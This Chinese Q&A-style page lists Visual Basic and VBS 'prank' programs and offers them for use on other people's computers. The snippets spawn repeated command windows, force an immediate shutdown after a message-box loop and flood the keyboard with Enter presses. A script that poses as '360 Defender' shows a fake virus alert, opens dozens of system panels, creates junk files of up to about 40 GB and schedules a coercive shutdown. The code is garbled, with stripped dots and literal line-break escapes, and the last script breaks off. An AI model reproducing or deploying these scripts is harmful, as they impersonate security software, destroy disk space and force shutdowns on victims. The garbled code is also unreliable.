vb恶搞程序有哪些

1、窗口炸d\x0d\PrivateSubForm_Load()\x0d\Fora=1To10\x0d\Shell"cmd/cecho轰隆——一切的全完了！&pause",vbNormalFocus\x0d\Next\x0d\EndSub\x0d\2、数羊程序\x0d\PrivateSubForm_Load()\x0d\MsgBox"困死我了，睡不着，帮我数羊",,"数羊"\x0d\MsgBox"就一百只羊吧！",,"数羊"\x0d\Fora=1To100\x0d\MsgBoxa&"只羊",,"数羊"\x0d\Next\x0d\MsgBox"身边没个人，好孤单，好寂寞","64","数羊"\x0d\Shell"shutdown-s-t0"\x0d\EndSub\x0d\3、按十万次回车\x0d\PrivateSubForm_Load()\x0d\Fora=1To100000\x0d\SendKeys"{enter}"\x0d\Next\x0d\EndSub

自编vbs仅供娱乐！！！

set qstart = wscriptCreateObject("wscriptshell")

set qweb = CreateObject("WscriptShell")

set qwrite = CreateObject("scriptingfilesystemobject")

set qsay = CreateObject("sapispvoice")

qstartrun "D:\病毒BGMmp3" '《江南皮革厂倒闭了》

msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"

qstartrun "cmdexe /c start appwizcpl"

qstartrun "cmdexe /c start bthpropscpl"

qstartrun "cmdexe /c start calcexe"

qstartrun "cmdexe /c start cleanmgrexe"

qstartrun "cmdexe /c start cmdexe"

qstartrun "cmdexe /c start colorcplexe"

qstartrun "cmdexe /c start controlexe"

qstartrun "cmdexe /c start cttuneexe"

qstartrun "cmdexe /c start deskcpl"

qstartrun "cmdexe /c start dfrguiexe"

qstartrun "cmdexe /c start dxdiagexe"

qstartrun "cmdexe /c start FileHistoryexe"

qstartrun "cmdexe /c start Firewallcpl"

qstartrun "cmdexe /c start Fondueexe"

qstartrun "cmdexe /c start fontviewexe"

qstartrun "cmdexe /c start fsquirtexe"

qstartrun "cmdexe /c start hdwwizcpl"

qstartrun "cmdexe /c start inetcplcpl"

qstartrun "cmdexe /c start intlcpl"

qstartrun "cmdexe /c start irpropscpl"

qstartrun "cmdexe /c start joycpl"

qstartrun "cmdexe /c start LaunchTMexe"

qstartrun "cmdexe /c start Magnifyexe"

qstartrun "cmdexe /c start maincpl"

qstartrun "cmdexe /c start mblctrexe"

qstartrun "cmdexe /c start mmsyscpl"

qstartrun "cmdexe /c start msinfo32exe"

qstartrun "cmdexe /c start mspaintexe"

qstartrun "cmdexe /c start ncpacpl"

qstartrun "cmdexe /c start notepadexe"

qstartrun "cmdexe /c start powercfgcpl"

qstartrun "cmdexe /c start RTSnMg64cpl"

qstartrun "cmdexe /c start SnippingToolexe"

qstartrun "cmdexe /c start sysdmcpl"

qstartrun "cmdexe /c start TabletPCcpl"

qstartrun "cmdexe /c start telephoncpl"

qstartrun "cmdexe /c start timedatecpl"

qstartrun "cmdexe /c start writeexe"

qstartrun "cmdexe /c start wscriptexe"

qstartrun "cmdexe /c start wscuicpl"

qstartrun "cmdexe /c fsutil file createnew 1bug 0"

qstartrun "cmdexe /c fsutil file createnew 2bug 0"

qstartrun "cmdexe /c fsutil file createnew 3bug 0"

qstartrun "cmdexe /c fsutil file createnew 4bug 0"

qstartrun "cmdexe /c fsutil file createnew 5bug 0"

qstartrun "cmdexe /c fsutil file createnew 6bug 0"

qstartrun "cmdexe /c fsutil file createnew 7bug 0"

qstartrun "cmdexe /c fsutil file createnew 8bug 0"

qstartrun "cmdexe /c fsutil file createnew 9bug 0"

qstartrun "cmdexe /c fsutil file createnew 10bug 0"

qstartrun "cmdexe /c fsutil file createnew 11bug 0"

qstartrun "cmdexe /c fsutil file createnew 12bug 0"

qstartrun "cmdexe /c fsutil file createnew 13bug 0"

qstartrun "cmdexe /c fsutil file createnew 14bug 0"

qstartrun "cmdexe /c fsutil file createnew 15bug 0"

qstartrun "cmdexe /c fsutil file createnew 16bug 0"

qstartrun "cmdexe /c fsutil file createnew 17bug 0"

qstartrun "cmdexe /c fsutil file createnew 18bug 0"

qstartrun "cmdexe /c fsutil file createnew 19bug 0"

qstartrun "cmdexe /c fsutil file createnew 20bug 0"

qstartrun "cmdexe /c fsutil file createnew 21bug 0"

qstartrun "cmdexe /c fsutil file createnew 22bug 0"

qstartrun "cmdexe /c fsutil file createnew 23bug 0"

qstartrun "cmdexe /c fsutil file createnew 24bug 0"

qstartrun "cmdexe /c fsutil file createnew 25bug 0"

qstartrun "cmdexe /c fsutil file createnew 26bug 0"

qstartrun "cmdexe /c fsutil file createnew 27bug 0"

qstartrun "cmdexe /c fsutil file createnew 28bug 0"

qstartrun "cmdexe /c fsutil file createnew 29bug 0"

qstartrun "cmdexe /c fsutil file createnew 30bug 0"

qstartrun "cmdexe /c fsutil file createnew 31bug 0"

qstartrun "cmdexe /c fsutil file createnew 32bug 0"

qstartrun "cmdexe /c fsutil file createnew 33bug 0"

qstartrun "cmdexe /c fsutil file createnew 34bug 0"

qstartrun "cmdexe /c fsutil file createnew 35bug 0"

qstartrun "cmdexe /c fsutil file createnew 36bug 0"

qstartrun "cmdexe /c fsutil file createnew 37bug 0"

qstartrun "cmdexe /c fsutil file createnew 38bug 0"

qstartrun "cmdexe /c fsutil file createnew 39bug 0"

qstartrun "cmdexe /c fsutil file createnew 40bug 0"

qstartrun "cmdexe /c fsutil file createnew 41bug 0"

qstartrun "cmdexe /c fsutil file createnew 42bug 0"

qstartrun "cmdexe /c fsutil file createnew 43bug 0"

qstartrun "cmdexe /c fsutil file createnew 44bug 0"

qstartrun "cmdexe /c fsutil file createnew 45bug 0"

qstartrun "cmdexe /c fsutil file createnew 46bug 0"

qstartrun "cmdexe /c fsutil file createnew 47bug 0"

qstartrun "cmdexe /c fsutil file createnew 48bug 0"

qstartrun "cmdexe /c fsutil file createnew 49bug 0"

qstartrun "cmdexe /c fsutil file createnew 50bug 0"

qstartrun "cmdexe /c fsutil file createnew 51bug 0"

qstartrun "cmdexe /c fsutil file createnew 52bug 0"

qstartrun "cmdexe /c fsutil file createnew 53bug 0"

qstartrun "cmdexe /c fsutil file createnew 54bug 0"

qstartrun "cmdexe /c fsutil file createnew 55bug 0"

qstartrun "cmdexe /c fsutil file createnew 56bug 0"

qstartrun "cmdexe /c fsutil file createnew 57bug 0"

qstartrun "cmdexe /c fsutil file createnew 58bug 0"

qstartrun "cmdexe /c fsutil file createnew 59bug 0"

qstartrun "cmdexe /c fsutil file createnew 60bug 40000"

qstartrun "cmdexe /c fsutil file createnew 61bug 400000"

qstartrun "cmdexe /c fsutil file createnew 62bug 4000000"

qstartrun "cmdexe /c fsutil file createnew 63bug 40000000"

qstartrun "cmdexe /c fsutil file createnew 64bug 400000000"

qstartrun "cmdexe /c fsutil file createnew 65bug 4000000000"

qstartrun "cmdexe /c fsutil file createnew 666bug 40000000000"

wscriptsleep 25000

qstartrun "cmdexe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true

qstartrun "cmdexe /c echo 滚|clip"

A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)

IF A = "是" then

qstartrun "cmdexe /c shutdown -a",0,true

msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"

do

qwebrun">

以上就是关于vb恶搞程序有哪些全部的内容，包括:vb恶搞程序有哪些、有没有一些恶搞别人的vbs代码、等相关内容解答，如果想了解更多相关内容，可以关注我们，你们的支持是我们更新的动力！